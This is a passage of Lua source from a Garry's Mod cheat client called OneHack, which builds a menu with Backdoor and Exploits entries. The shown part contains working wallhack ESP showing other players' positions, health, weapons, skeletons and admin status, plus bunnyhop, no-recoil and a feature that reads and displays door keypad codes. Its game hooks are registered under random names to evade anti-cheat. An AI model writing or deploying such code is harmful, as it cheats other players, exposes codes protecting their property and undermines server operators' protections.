1734 onehack.selectedpanel = logsmenuopt
1735 end
1736
1737 function esppanel()
1738 esppanel = vgui.Create( "DPanel" , framesag )
1739 esppanel:SetPos( 126, 9 )
1740 esppanel:SetSize( framesag:GetWide()-120-13, framesag:GetTall()-16 )
1741 function esppanel:Paint( w, h )
1742 draw.RoundedBox( 0, 0, 0, w, h, onehack.theme.backgroundalt )
1743 end
1744
1745 local esbenable = vgui.Create("DCheckBox",esppanel)
1746 esbenable:SetPos(5,5)
1747 esbenable:SetValue(onehack.Vars['ESP'])
1748 esbenable:SetSize(100,17)
1749 function esbenable:Paint(w,h)
1750 onehack.DrawRect(0,0,h,h,onehack.theme.backgroundalt3)
1751 if esbenable:GetChecked() then
1752 onehack.DrawRect(4,4,h-8,h-8,onehack.theme.chroma)
1753 end
1754 onehack.DrawOutLinedRect(0,0,h,h,onehack.theme.backgroundalt2)
1755 draw.SimpleText("Enabled","DermaDefault",24,h/2,Color(255,255,255),0,1)
1756 onehack.Vars['ESP'] = esbenable:GetChecked()
1757 end
1758
1759 local shownames = vgui.Create("DCheckBox",esppanel)
1760 shownames:SetPos(5,27)
1761 shownames:SetValue(onehack.Vars['ESP_NAME'])
1762 shownames:SetSize(100,17)
1763 function shownames:Paint(w,h)
1764 onehack.DrawRect(0,0,h,h,onehack.theme.backgroundalt3)
1765 if shownames:GetChecked() then
1766 onehack.DrawRect(4,4,h-8,h-8,onehack.theme.chroma)
1767 end
1768 onehack.DrawOutLinedRect(0,0,h,h,onehack.theme.backgroundalt2)
1769 draw.SimpleText("Name","DermaDefault",24,h/2,Color(255,255,255),0,1)
1770 onehack.Vars['ESP_NAME'] = shownames:GetChecked()
1771 end
1772
1773 local showgroup = vgui.Create("DCheckBox",esppanel)
1774 showgroup:SetPos(5,49)
1775 showgroup:SetValue(onehack.Vars['ESP_GROUP'])
1776 showgroup:SetSize(100,17)
1777 function showgroup:Paint(w,h)
1778 onehack.DrawRect(0,0,h,h,onehack.theme.backgroundalt3)
1779 if showgroup:GetChecked() then
1780 onehack.DrawRect(4,4,h-8,h-8,onehack.theme.chroma)
1781 end
1782 onehack.DrawOutLinedRect(0,0,h,h,onehack.theme.backgroundalt2)
1783 draw.SimpleText("User group","DermaDefault",24,h/2,Color(255,255,255),0,1)
1784 onehack.Vars['ESP_GROUP'] = showgroup:GetChecked()
1785 end
1786
1787 local showteam = vgui.Create("DCheckBox",esppanel)
1788 showteam:SetPos(5,72)
1789 showteam:SetValue(onehack.Vars['ESP_TEAM'])
1790 showteam:SetSize(100,17)
1791 function showteam:Paint(w,h)
1792 onehack.DrawRect(0,0,h,h,onehack.theme.backgroundalt3)
1793 if showteam:GetChecked() then
1794 onehack.DrawRect(4,4,h-8,h-8,onehack.theme.chroma)
1795 end
1796 onehack.DrawOutLinedRect(0,0,h,h,onehack.theme.backgroundalt2)
1797 draw.SimpleText("Team name","DermaDefault",24,h/2,Color(255,255,255),0,1)
1798 onehack.Vars['ESP_TEAM'] = showteam:GetChecked()
1799 end
1800
1801 local showhealthnumber = vgui.Create("DCheckBox",esppanel)
1802 showhealthnumber:SetPos(5,94)
1803 showhealthnumber:SetValue(onehack.Vars['ESP_HP'])
1804 showhealthnumber:SetSize(100,17)
1805 function showhealthnumber:Paint(w,h)
1806 onehack.DrawRect(0,0,h,h,onehack.theme.backgroundalt3)
1807 if showhealthnumber:GetChecked() then
1808 onehack.DrawRect(4,4,h-8,h-8,onehack.theme.chroma)
1809 end
1810 onehack.DrawOutLinedRect(0,0,h,h,onehack.theme.backgroundalt2)
1811 draw.SimpleText("Health number","DermaDefault",24,h/2,Color(255,255,255),0,1)
1812 onehack.Vars['ESP_HP'] = showhealthnumber:GetChecked()
1813 end
1814
1815 local showhealtbox = vgui.Create("DCheckBox",esppanel)
1816 showhealtbox:SetPos(5,116)
1817 showhealtbox:SetValue(onehack.Vars['ESP_HPBOX'])
1818 showhealtbox:SetSize(100,17)
1819 function showhealtbox:Paint(w,h)
1820 onehack.DrawRect(0,0,h,h,onehack.theme.backgroundalt3)
1821 if showhealtbox:GetChecked() then
1822 onehack.DrawRect(4,4,h-8,h-8,onehack.theme.chroma)
1823 end
1824 onehack.DrawOutLinedRect(0,0,h,h,onehack.theme.backgroundalt2)
1825 draw.SimpleText("Health box","DermaDefault",24,h/2,Color(255,255,255),0,1)
1826 onehack.Vars['ESP_HPBOX'] = showhealtbox:GetChecked()
1827 end
1828
1829 local showarmornumber = vgui.Create("DCheckBox",esppanel)
1830 showarmornumber:SetPos(5,137)
1831 showarmornumber:SetValue(onehack.Vars['ESP_ARMOR'])
1832 showarmornumber:SetSize(100,17)
1833 function showarmornumber:Paint(w,h)
1834 onehack.DrawRect(0,0,h,h,onehack.theme.backgroundalt3)
1835 if showarmornumber:GetChecked() then
1836 onehack.DrawRect(4,4,h-8,h-8,onehack.theme.chroma)
1837 end
1838 onehack.DrawOutLinedRect(0,0,h,h,onehack.theme.backgroundalt2)
1839 draw.SimpleText("Armor number","DermaDefault",24,h/2,Color(255,255,255),0,1)
1840 onehack.Vars['ESP_ARMOR'] = showarmornumber:GetChecked()
1841 end
1842
1843 local showarmorbox = vgui.Create("DCheckBox",esppanel)
1844 showarmorbox:SetPos(5,159)
1845 showarmorbox:SetValue(onehack.Vars['ESP_ARMORBOX'])
1846 showarmorbox:SetSize(100,17)
1847 function showarmorbox:Paint(w,h)
1848 onehack.DrawRect(0,0,h,h,onehack.theme.backgroundalt3)
1849 if showarmorbox:GetChecked() then
1850 onehack.DrawRect(4,4,h-8,h-8,onehack.theme.chroma)
1851 end
1852 onehack.DrawOutLinedRect(0,0,h,h,onehack.theme.backgroundalt2)
1853 draw.SimpleText("Armor box","DermaDefault",24,h/2,Color(255,255,255),0,1)
1854 onehack.Vars['ESP_ARMORBOX'] = showarmorbox:GetChecked()
1855 end
1856
1857 local showammonumber = vgui.Create("DCheckBox",esppanel)
1858 showammonumber:SetPos(5,181)
1859 showammonumber:SetValue(onehack.Vars['ESP_WEAPON'])
1860 showammonumber:SetSize(100,17)
1861 function showammonumber:Paint(w,h)
1862 onehack.DrawRect(0,0,h,h,onehack.theme.backgroundalt3)
1863 if showammonumber:GetChecked() then
1864 onehack.DrawRect(4,4,h-8,h-8,onehack.theme.chroma)
1865 end
1866 onehack.DrawOutLinedRect(0,0,h,h,onehack.theme.backgroundalt2)
1867 draw.SimpleText("Weapon name","DermaDefault",24,h/2,Color(255,255,255),0,1)
1868 onehack.Vars['ESP_WEAPON'] = showammonumber:GetChecked()
1869 end
1870
1871 local showbox = vgui.Create("DCheckBox",esppanel)
1872 showbox:SetPos(5,202)
1873 showbox:SetValue(onehack.Vars['ESP_BOX'])
1874 showbox:SetSize(100,17)
1875 function showbox:Paint(w,h)
1876 onehack.DrawRect(0,0,h,h,onehack.theme.backgroundalt3)
1877 if showbox:GetChecked() then
1878 onehack.DrawRect(4,4,h-8,h-8,onehack.theme.chroma)
1879 end
1880 onehack.DrawOutLinedRect(0,0,h,h,onehack.theme.backgroundalt2)
1881 draw.SimpleText("Box","DermaDefault",24,h/2,Color(255,255,255),0,1)
1882 onehack.Vars['ESP_BOX'] = showbox:GetChecked()
1883 end
1884
1885 local showskelet = vgui.Create("DCheckBox",esppanel)
1886 showskelet:SetPos(5,224)
1887 showskelet:SetValue(onehack.Vars['ESP_SKELET'])
1888 showskelet:SetSize(100,17)
1889 function showskelet:Paint(w,h)
1890 onehack.DrawRect(0,0,h,h,onehack.theme.backgroundalt3)
1891 if showskelet:GetChecked() then
1892 onehack.DrawRect(4,4,h-8,h-8,onehack.theme.chroma)
1893 end
1894 onehack.DrawOutLinedRect(0,0,h,h,onehack.theme.backgroundalt2)
1895 draw.SimpleText("Skeleton","DermaDefault",24,h/2,Color(255,255,255),0,1)
1896 onehack.Vars['ESP_SKELET'] = showskelet:GetChecked()
1897 end
1898
1899 local norecoil = vgui.Create("DCheckBox",esppanel)
1900 norecoil:SetPos(5,260)
1901 norecoil:SetValue(onehack.Vars['NoRecoil'])
1902 norecoil:SetSize(100,17)
1903 function norecoil:Paint(w,h)
1904 onehack.DrawRect(0,0,h,h,onehack.theme.backgroundalt3)
1905 if norecoil:GetChecked() then
1906 onehack.DrawRect(4,4,h-8,h-8,onehack.theme.chroma)
1907 end
1908 onehack.DrawOutLinedRect(0,0,h,h,onehack.theme.backgroundalt2)
1909 draw.SimpleText("No recoil","DermaDefault",24,h/2,Color(255,255,255),0,1)
1910 onehack.Vars['NoRecoil'] = norecoil:GetChecked()
1911 end
1912
1913 local Crosshair = vgui.Create("DCheckBox",esppanel)
1914 Crosshair:SetPos(5,282)
1915 Crosshair:SetValue(onehack.Vars['Crosshair'])
1916 Crosshair:SetSize(100,17)
1917 function Crosshair:Paint(w,h)
1918 onehack.DrawRect(0,0,h,h,onehack.theme.backgroundalt3)
1919 if Crosshair:GetChecked() then
1920 onehack.DrawRect(4,4,h-8,h-8,onehack.theme.chroma)
1921 end
1922 onehack.DrawOutLinedRect(0,0,h,h,onehack.theme.backgroundalt2)
1923 draw.SimpleText("Crosshair","DermaDefault",24,h/2,Color(255,255,255),0,1)
1924 onehack.Vars['Crosshair'] = Crosshair:GetChecked()
1925 end
1926
1927 local preview = vgui.Create("DPanel",esppanel)
1928 preview:SetPos(212,5)
1929 preview:SetSize(250,373)
1930 function preview:Paint(w,h)
1931 onehack.DrawRect(0,0,w,h,Color(255,255,255,10))
1932 onehack.DrawOutLinedRect(0,0,w,h,onehack.theme.backgroundalt2)
1933
1934 if onehack.Vars['ESP_NAME'] then
1935 draw.SimpleTextOutlined("Garry :D","default",w/2, 50,Color(255,255,255),1,1,1,Color(0,0,0))
1936 end
1937
1938 if onehack.Vars['ESP_WEAPON'] then
1939 draw.SimpleTextOutlined("Crowbar","default",w/2, h-50,Color(255,255,255),1,1,1,Color(0,0,0))
1940 end
1941
1942 if onehack.Vars['ESP_TEAM'] then
1943 draw.SimpleTextOutlined("Citizen","default",w-54, 65,Color(50,255,50),0,1,1,Color(0,0,0))
1944 end
1945
1946 if onehack.Vars['ESP_GROUP'] then
1947 draw.SimpleTextOutlined("Admin","default",w-54, 80,Color(255,255,255),0,1,1,Color(0,0,0))
1948 end
1949
1950 if onehack.Vars['ESP_HP'] then
1951 draw.SimpleTextOutlined("100%","default",58,56,Color(150,255,0),0,1,1,Color(0,0,0))
1952 end
1953
1954 if onehack.Vars['ESP_HPBOX'] then
1955 onehack.DrawOutLinedRect(53,60,6,h-120,Color(0,0,0))
1956 onehack.DrawRect(54,61,4,h-122,Color(150,255,0))
1957 --onehack.DrawOutLinedRect(56,60,5,h-120,Color(0,0,0))
1958 end
1959
1960 if onehack.Vars['ESP_ARMOR'] then
1961 draw.SimpleTextOutlined("100%","default",46,56,Color(19,136,191),2,1,1,Color(0,0,0))
1962 end
1963
1964 if onehack.Vars['ESP_ARMORBOX'] then
1965 onehack.DrawOutLinedRect(46,60,6,h-120,Color(0,0,0))
1966 onehack.DrawRect(47,61,4,h-122,Color(19,136,191))
1967 --onehack.DrawOutLinedRect(56,60,5,h-120,Color(0,0,0))
1968 end
1969
1970 if onehack.Vars['ESP_BOX'] then
1971 onehack.DrawOutLinedRect(60,60,w-120,h-120,Color(0,0,0))
1972 onehack.DrawOutLinedRect(61,61,w-122,h-122,Color(255,255,255))
1973 onehack.DrawOutLinedRect(62,62,w-124,h-124,Color(0,0,0))
1974 end
1975 end
1976
1977 if onehack.selectedpanel != nil then
1978 onehack.selectedpanel:Remove()
1979 end
1980 onehack.selectedpanel_id = 5
1981 onehack.selectedpanel = esppanel
1982 end
1983
1984 function aimpanel()
1985 aimpanel = vgui.Create( "DPanel" , framesag )
1986 aimpanel:SetPos( 126, 9 )
1987 aimpanel:SetSize( framesag:GetWide()-120-13, framesag:GetTall()-16 )
1988 function aimpanel:Paint( w, h )
1989 draw.RoundedBox( 0, 0, 0, w, h, onehack.theme.backgroundalt )
1990 draw.SimpleText("Coming soon...","DermaDefault",w/2,h/2,Color(255,255,255,100),1,1)
1991 end
1992
1993 if onehack.selectedpanel != nil then
1994 onehack.selectedpanel:Remove()
1995 end
1996 onehack.selectedpanel_id = 5
1997 onehack.selectedpanel = aimpanel
1998 end
1999
2000 PanelAddButton("Aimbot",aimpanel,6)
2001 PanelAddButton("Visuals",esppanel,5)
2002 PanelAddButton("Backdoor",onehackdooropt,1)
2003 PanelAddButton("Exploits",exploitmenuopt,2)
2004 PanelAddButton("Options",optionsmenuopt,3)
2005 PanelAddButton("Logs",logsmenuopt,4)
2006 onehackdooropt()
2007end
2008function myfunc()
2009 if input.IsKeyDown( KEY_F11 ) then
2010 if not timer.Exists("FW.MenuIsPressed") then
2011 if IsValid(framesag) then
2012 framesag:Remove()
2013 else
2014 MainFunc()
2015 end
2016 timer.Create("FW.MenuIsPressed",0.3,1,function() end)
2017 end
2018 end
2019
2020 if input.IsKeyDown( KEY_F9 ) then
2021 if not timer.Exists("FW.MenuIsPressedF9") then
2022 onehack.Vars['FCAM'] = !onehack.Vars['FCAM']
2023 timer.Create("FW.MenuIsPressedF9",0.3,1,function() end)
2024 end
2025 end
2026end
2027onehack.DebugLog( "Onehack loaded successfully!", Color(100,255,100) )
2028onehack.DebugLog( "onehack version v2.44, build 13.05.2019", Color(255,255,255) )
2029hook.Add("Think","twsgsh",myfunc)
2030
2031
2032local me = LocalPlayer();
2033function onehack.CreateMove(cmd)
2034 local memfootprint = gcinfo()
2035 if(!onehack.Vars['BHOP']) then return; end
2036 if(!me:IsOnGround() && cmd:KeyDown(IN_JUMP)) then
2037 cmd:RemoveKey(IN_JUMP);
2038 if(onehack.Vars['AUTOSTRAFER']) then
2039 if(cmd:GetMouseX() > 1 || cmd:GetMouseX() < -1) then
2040 cmd:SetSideMove(cmd:GetMouseX() > 1 && 400 || -400);
2041 else
2042 cmd:SetForwardMove(5850 / me:GetVelocity():Length2D());
2043 cmd:SetSideMove((cmd:CommandNumber() % 2 == 0) && -400 || 400);
2044 end
2045 end
2046 elseif(cmd:KeyDown(IN_JUMP) && onehack.Vars['AUTOSTRAFER']) then
2047 cmd:SetForwardMove(10000);
2048 end
2049 onehack.memory["logic"] = gcinfo() - memfootprint
2050end
2051hook.Add("CreateMove", onehack.RandomString(10), function(cmd)
2052 onehack.CreateMove(cmd);
2053end);
2054
2055function onehack.CalcView( ply, pos, angles, fov )
2056 if !me:IsValid() or !me:Alive() or me:GetViewEntity() != me or me:InVehicle() then return end
2057 local tps = {}
2058 if onehack.Vars['NoRecoil'] then
2059 tps.angles = me:EyeAngles()
2060 return tps
2061 end
2062end
2063hook.Add("CalcView", onehack.RandomString(10), onehack.CalcView)
2064
2065
2066local function coordinates( ent )
2067local min, max = ent:OBBMins(), ent:OBBMaxs()
2068local corners = {
2069 Vector( min.x, min.y, min.z ),
2070 Vector( min.x, min.y, max.z ),
2071 Vector( min.x, max.y, min.z ),
2072 Vector( min.x, max.y, max.z ),
2073 Vector( max.x, min.y, min.z ),
2074 Vector( max.x, min.y, max.z ),
2075 Vector( max.x, max.y, min.z ),
2076 Vector( max.x, max.y, max.z )
2077}
2078
2079local minX, minY, maxX, maxY = ScrW() * 2, ScrH() * 2, 0, 0
2080for _, corner in pairs( corners ) do
2081 local onScreen = ent:LocalToWorld( corner ):ToScreen()
2082 minX, minY = math.min( minX, onScreen.x ), math.min( minY, onScreen.y )
2083 maxX, maxY = math.max( maxX, onScreen.x ), math.max( maxY, onScreen.y )
2084end
2085function drawfillbox( mag,value,left,top,right,bottom,r,g,b,a )
2086 local poly = {
2087 {x=left,y=top},
2088 {x=right,y=top},
2089 {x=right,y=bottom},
2090 {x=left,y=bottom}
2091 }
2092 surface.SetDrawColor( r,g,b,a )
2093 draw.NoTexture()
2094 surface.DrawPoly(poly)
2095 draw.SimpleTextOutlined(value,"default",left + (right - left) / 2,top,Color(r,g,b,a),mag,1,1,Color(0,0,0))
2096end
2097return minX, minY, maxX, maxY
2098end
2099hook.Add("OnEntityCreated",onehack.RandomString(17),function(ent)
2100 onehack.DebugLog( ent:GetClass().." spawned on ("..tostring(ent:GetPos())..")", Color(100,100,100) )
2101end)
2102hook.Add( "PostDrawOpaqueRenderables", onehack.RandomString(17), function()
2103 if onehack.Vars['WEAPON_LIST3D'] then
2104 for k,vv in pairs(player.GetAll()) do
2105 if vv:IsValid() and vv ~= LocalPlayer() and vv:GetPos():Distance(LocalPlayer():GetPos()) < 600 and onehack.Vars['FCAM'] and vv:Alive() or (vv:GetPos():Distance(LocalPlayer():GetPos()) < 255 and vv ~= LocalPlayer() and vv:Alive()) then
2106 local rot = (vv:GetPos() - EyePos()):Angle().yaw - 90
2107 local ang = Angle(0,rot,90)
2108 cam.Start3D2D( vv:EyePos()+2*ang:Up(), ang-Angle(0,30,0), 0.15 )
2109 local otstup = 0
2110 local toleft = 160
2111 local alpha = 255 - vv:GetPos():Distance(LocalPlayer():GetPos())
2112 surface.SetDrawColor( 255, 165, 0, alpha )
2113 surface.DrawRect( toleft, 0, 150, 1 )
2114 surface.SetDrawColor( 0, 0, 0, alpha )
2115 surface.SetMaterial(Material("gui/gradient_down"))
2116 surface.DrawTexturedRect( toleft, 1, 150, alpha/2 )
2117 for k,v in pairs(vv:GetWeapons()) do
2118 surface.SetDrawColor( 255, 255, 255, alpha/2 )
2119 surface.SetMaterial(Material("gui/gradient_down"))
2120 surface.DrawTexturedRect( 4+toleft, 4+otstup, 92+50, 15 )
2121 if vv:GetActiveWeapon():IsValid() and vv:GetActiveWeapon() == v then
2122 surface.SetDrawColor( 255, 165, 0, alpha/2 )
2123 surface.SetMaterial(Material("gui/gradient_up"))
2124 surface.DrawTexturedRect( 4+toleft, 4+otstup, 92+50, 15 )
2125 elseif string.find(v:GetClass(),"m9k") or string.find(v:GetClass(),"swb") or string.find(v:GetClass(),"csgo") or string.find(v:GetClass(),"ptp") then
2126 surface.SetDrawColor( 255, 0, 0, alpha/2 )
2127 surface.SetMaterial(Material("gui/gradient_up"))
2128 surface.DrawTexturedRect( 4+toleft, 4+otstup, 92+50, 15 )
2129 end
2130 if vv:GetActiveWeapon():IsValid() and vv:GetActiveWeapon() == v then
2131 surface.SetDrawColor( 255, 165, 0, alpha )
2132 elseif string.find(v:GetClass(),"m9k") or string.find(v:GetClass(),"swb") or string.find(v:GetClass(),"csgo") or string.find(v:GetClass(),"ptp") then
2133 surface.SetDrawColor( 255, 0, 0, alpha/2 )
2134 else
2135 surface.SetDrawColor( 255, 255, 255, alpha )
2136 end
2137 surface.DrawOutlinedRect( 4+toleft, 4+otstup, 92+50, 15 )
2138
2139 draw.SimpleText(v:GetPrintName(),"DermaDefault",8+toleft, 5+otstup,Color(0,0,0,alpha))
2140 draw.SimpleText(v:GetPrintName(),"DermaDefault",8+toleft+1, 5+otstup-1,Color(255,255,255,alpha))
2141 otstup = otstup + 19
2142 end
2143 cam.End3D2D()
2144 end
2145 end
2146 end
2147
2148 if onehack.Vars['keypad_jiw'] then
2149 for k, e in pairs(ents.FindInSphere( LocalPlayer():GetPos(), 100 )) do
2150 if IsValid(e) and string.find( e:GetClass(), "Keypad") then
2151 local text;
2152 local color;
2153 if(e.code && e.code != "") then
2154 text = e.code;
2155 color = Color( 105, 255, 105, 150 )
2156 elseif(e.tempCode && e.tempCode != "") then
2157 text = e.tempCode;
2158 color = Color( 250, 150, 150, 150 )
2159 else
2160 text = "Unkn"
2161 color = Color(150,150,150,150)
2162 end
2163 local rot = (e:GetPos() - EyePos()):Angle().yaw - 90
2164 local rot2 = -(e:GetPos() - EyePos()):Angle().pich +90
2165 local ang = Angle(0,rot,rot2)
2166 cam.Start3D2D( e:GetPos()+Vector(0,0,2), ang-Angle(0,30,0), 0.15 )
2167 local otstup = 0
2168 local toleft = 40
2169 local alpha = 255-(e:GetPos():Distance(LocalPlayer():GetPos()))
2170 surface.SetDrawColor( color.r, color.g, color.b, alpha )
2171 surface.DrawRect( toleft, 0, 40, 1 )
2172 surface.SetDrawColor( 0, 0, 0, alpha )
2173 surface.SetMaterial(Material("gui/gradient_down"))
2174 surface.DrawTexturedRect( toleft, 1, 40, 30 )
2175 draw.SimpleText(text,"DermaDefault",8+toleft, 5+otstup,Color(255,255,255,alpha))
2176 cam.End3D2D()
2177 end
2178 end
2179 end
2180end )
2181hook.Add("HUDPaint", onehack.RandomString(17), function()
2182if onehack.Vars['WaterMark'] then
2183 surface.SetFont("DermaDefault")
2184 local tw,th = surface.GetTextSize("OneHack.su | "..math.Round(1/FrameTime()).." FPS | "..LocalPlayer():Ping().." PING | "..onehack.memory['hud']+onehack.memory['logic'].." KB | "..LocalPlayer():Name())
2185 tw = tw + 3
2186 onehack.DrawRect(5,5,10+tw,25,Color(onehack.theme.chroma.r,onehack.theme.chroma.g,onehack.theme.chroma.b,150))
2187 onehack.DrawRect(9,9,2+tw,17,Color(onehack.theme.chromaalt.r,onehack.theme.chromaalt.g,onehack.theme.chromaalt.b,150))
2188 onehack.DrawOutLinedRect(5,5,10+tw,25,Color(0,0,0,50))
2189 onehack.DrawOutLinedRect(9,9,2+tw,17,Color(0,0,0,50))
2190 draw.SimpleText("OneHack.su | "..math.Round(1/FrameTime()).." FPS | "..LocalPlayer():Ping().." PING | "..onehack.memory['hud']+onehack.memory['logic'].." KB | "..LocalPlayer():Name(),"DermaDefault",12,10,Color(255,255,255))
2191end
2192local memfootprintss = gcinfo()
2193if not onehack.Vars['ESP'] then return end
2194if onehack.Vars['Crosshair'] then
2195 onehack.Drawline(ScrW()/2,ScrH()/2,(ScrW()/2)+5,(ScrH()/2)+5,Color(255,255,255,100))
2196 onehack.Drawline(ScrW()/2,ScrH()/2,(ScrW()/2)-5,(ScrH()/2)+5,Color(255,255,255,100))
2197end
2198for k,v in pairs(player.GetAll()) do
2199 local left,top,right,bottom = coordinates(v)
2200 local dist = v:GetPos():Distance(LocalPlayer():GetPos())
2201 if v ~= LocalPlayer() then
2202 if dist > 20 then
2203 if v:Alive() then
2204 if left ~= 0 and right ~= 0 and top ~= 0 and bottom ~= 0 then
2205 if onehack.Vars['ESP_BOX'] then
2206 surface.SetDrawColor(Color(255,255,255))
2207 surface.DrawLine( left, top, right, top )
2208 surface.DrawLine( left, top, left, bottom )
2209 surface.DrawLine( right, top, right, bottom )
2210 surface.DrawLine( left, bottom, right, bottom )
2211
2212 surface.SetDrawColor(Color(0,0,0))
2213 surface.DrawLine( left-1, top-1, right+1, top-1 )
2214 surface.DrawLine( left-1, top-1, left-1, bottom+1 )
2215 surface.DrawLine( right+1, top-1, right+1, bottom+1 )
2216 surface.DrawLine( left-1, bottom+1, right+1, bottom+1 )
2217
2218 surface.SetDrawColor(Color(0,0,0))
2219 surface.DrawLine( left+1, top+1, right-1, top+1 )
2220 surface.DrawLine( left+1, top+1, left+1, bottom-1 )
2221 surface.DrawLine( right-1, top+1, right-1, bottom-1 )
2222 surface.DrawLine( left+1, bottom-1, right-1, bottom-1 )
2223 end
2224
2225 local hpdraw = {
2226 {x=left-4,y=top},
2227 {x=left-2,y=top},
2228 {x=left-2,y=bottom},
2229 {x=left-4,y=bottom}
2230 }
2231 if onehack.Vars['ESP_NAME'] then
2232 draw.SimpleTextOutlined(v:GetName(),"default",left + (right - left) / 2, top - 10,Color(255,255,255),1,1,1,Color(0,0,0))
2233 end
2234
2235 if IsValid(v:GetActiveWeapon()) and onehack.Vars['ESP_WEAPON'] then
2236 draw.SimpleTextOutlined(v:GetActiveWeapon():GetPrintName() or v:GetActiveWeapon():GetClass(),"default",left + (right - left) / 2, bottom + 10,Color(255,255,255),1,1,1,Color(0,0,0))
2237 end
2238 w, h = ScrW(), ScrH()
2239 w = w/2
2240 local hp = math.min(v:Health(), 100)
2241 local height = bottom - top - 1
2242 local healthbar_height = (hp / 100) * height
2243 local healthbar_height2 = (100 / 100) * height
2244 local width = (w * (hp / 100.0))
2245 local red = 255 - (hp*2.55)
2246 local green = hp * 2.55
2247 if onehack.Vars['ESP_HP'] then numb = v:Health().."%" else numb = "" end
2248 if onehack.Vars['ESP_HPBOX'] then
2249 drawfillbox( 0,"", left - 8, bottom - healthbar_height2 - 2,left - 2, bottom,0,0,0,255 )
2250 drawfillbox( 0,"", left - 7, bottom - healthbar_height2 - 1,left - 3, bottom-1,0,200,0,40 )
2251 drawfillbox( 0,numb, left - 7, bottom - healthbar_height - 1,left - 3, bottom-1,red,green,0,255 )
2252 end
2253 local ar = math.min(v:Armor(), 100)
2254 local armorbar_height = (ar / 100) * height
2255 local numb
2256 if onehack.Vars['ESP_ARMOR'] then numb = v:Armor().."%" else numb = "" end
2257 if onehack.Vars['ESP_ARMORBOX'] then
2258 drawfillbox( 0,"", left - 15, bottom - healthbar_height2 - 2,left - 10, bottom,0,0,0,255 )
2259 drawfillbox( 0,"", left - 14, bottom - healthbar_height2 - 1,left - 11, bottom-1,0,200,0,40 )
2260 drawfillbox( 2,numb, left - 14, bottom - armorbar_height - 1,left - 11, bottom-1,19,136,191,255 )
2261 end
2262 local plys = v
2263 local Bones = {}
2264 local sBones = {
2265 "ValveBiped.Bip01_Head1",
2266 "ValveBiped.Bip01_Neck1",
2267 "ValveBiped.Bip01_Spine4",
2268 "ValveBiped.Bip01_Spine2",
2269 "ValveBiped.Bip01_Spine1",
2270 "ValveBiped.Bip01_Spine",
2271 "ValveBiped.Bip01_Pelvis",
2272 "ValveBiped.Bip01_R_UpperArm",
2273 "ValveBiped.Bip01_R_Forearm",
2274 "ValveBiped.Bip01_R_Hand",
2275 "ValveBiped.Bip01_L_UpperArm",
2276 "ValveBiped.Bip01_L_Forearm",
2277 "ValveBiped.Bip01_L_Hand",
2278 "ValveBiped.Bip01_R_Thigh",
2279 "ValveBiped.Bip01_R_Calf",
2280 "ValveBiped.Bip01_R_Foot",
2281 "ValveBiped.Bip01_R_Toe0",
2282 "ValveBiped.Bip01_L_Thigh",
2283 "ValveBiped.Bip01_L_Calf",
2284 "ValveBiped.Bip01_L_Foot",
2285 "ValveBiped.Bip01_L_Toe0"
2286 }
2287 local Success = true
2288 for k, v in pairs(sBones) do
2289 if plys:LookupBone(v) != nil && plys:GetBonePosition(plys:LookupBone(v)) != nil then
2290 table.insert( Bones, plys:GetBonePosition(plys:LookupBone(v)):ToScreen() )
2291 else
2292 Success = false
2293 end
2294 end
2295 surface.SetDrawColor(Color(255,255,255))
2296 if Success and onehack.Vars['ESP_SKELET'] then
2297 surface.DrawLine( Bones[1].x, Bones[1].y, Bones[2].x, Bones[2].y )
2298 surface.DrawLine( Bones[2].x, Bones[2].y, Bones[3].x, Bones[3].y )
2299 surface.DrawLine( Bones[3].x, Bones[3].y, Bones[4].x, Bones[4].y )
2300 surface.DrawLine( Bones[4].x, Bones[4].y, Bones[5].x, Bones[5].y )
2301 surface.DrawLine( Bones[5].x, Bones[5].y, Bones[6].x, Bones[6].y )
2302 surface.DrawLine( Bones[6].x, Bones[6].y, Bones[7].x, Bones[7].y )
2303
2304 //Legs
2305 surface.DrawLine( Bones[7].x, Bones[7].y, Bones[14].x, Bones[14].y )
2306 surface.DrawLine( Bones[14].x, Bones[14].y, Bones[15].x, Bones[15].y )
2307 surface.DrawLine( Bones[15].x, Bones[15].y, Bones[16].x, Bones[16].y )
2308 surface.DrawLine( Bones[16].x, Bones[16].y, Bones[17].x, Bones[17].y )
2309
2310 surface.DrawLine( Bones[7].x, Bones[7].y, Bones[18].x, Bones[18].y )
2311 surface.DrawLine( Bones[18].x, Bones[18].y, Bones[19].x, Bones[19].y )
2312 surface.DrawLine( Bones[19].x, Bones[19].y, Bones[20].x, Bones[20].y )
2313 surface.DrawLine( Bones[20].x, Bones[20].y, Bones[21].x, Bones[21].y )
2314
2315 //Arms
2316 surface.DrawLine( Bones[3].x, Bones[3].y, Bones[8].x, Bones[8].y )
2317 surface.DrawLine( Bones[8].x, Bones[8].y, Bones[9].x, Bones[9].y )
2318 surface.DrawLine( Bones[9].x, Bones[9].y, Bones[10].x, Bones[10].y )
2319
2320 surface.DrawLine( Bones[3].x, Bones[3].y, Bones[11].x, Bones[11].y )
2321 surface.DrawLine( Bones[11].x, Bones[11].y, Bones[12].x, Bones[12].y )
2322 surface.DrawLine( Bones[12].x, Bones[12].y, Bones[13].x, Bones[13].y )
2323
2324 end
2325 if onehack.Vars['ESP_TEAM'] then
2326 draw.SimpleTextOutlined(team.GetName(v:Team()),"default",right+3, top,team.GetColor(v:Team()),0,0,1,Color(0,0,0))
2327 end
2328 if onehack.Vars['ESP_GROUP'] then
2329 draw.SimpleTextOutlined(v:GetUserGroup(),"default",right+3, top+11,Color(255,255,255),0,0,1,Color(0,0,0))
2330 end
2331 end
2332 end
2333end
2334end
2335end
2336
2337onehack.memory["hud"] = gcinfo() - memfootprintss
2338end)
2339local elements = {
2340 { -- Screen
2341 x = 0.075,
2342 y = 0.04,
2343 w = 0.85,
2344 h = 0.25,
2345
2346 },
2347 { -- ABORT
2348 x = 0.075,
2349 y = 0.04 + 0.25 + 0.03,
2350 w = 0.85 / 2 - 0.04 / 2 + 0.05,
2351 h = 0.125,
2352 text = "ABORT",
2353 },
2354 { -- OK
2355 x = 0.5 + 0.04 / 2 + 0.05,
2356 y = 0.04 + 0.25 + 0.03,
2357 w = 0.85 / 2 - 0.04 / 2 - 0.05,
2358 h = 0.125,
2359 text = "OK",
2360 }
2361}
2362
2363do -- Create numbers
2364 for i = 1, 9 do
2365 local column = (i - 1) % 3
2366
2367 local row = math.floor((i - 1) / 3)
2368
2369 local element = {
2370 x = 0.075 + (0.3 * column),
2371 y = 0.175 + 0.25 + 0.05 + ((0.5 / 3) * row),
2372 w = 0.25,
2373 h = 0.13,
2374 text = tostring(i),
2375 }
2376 table.insert(elements, element)
2377 end
2378end
2379
2380
2381function onehack.CalculateKeypadCursorPos(ply, ent)
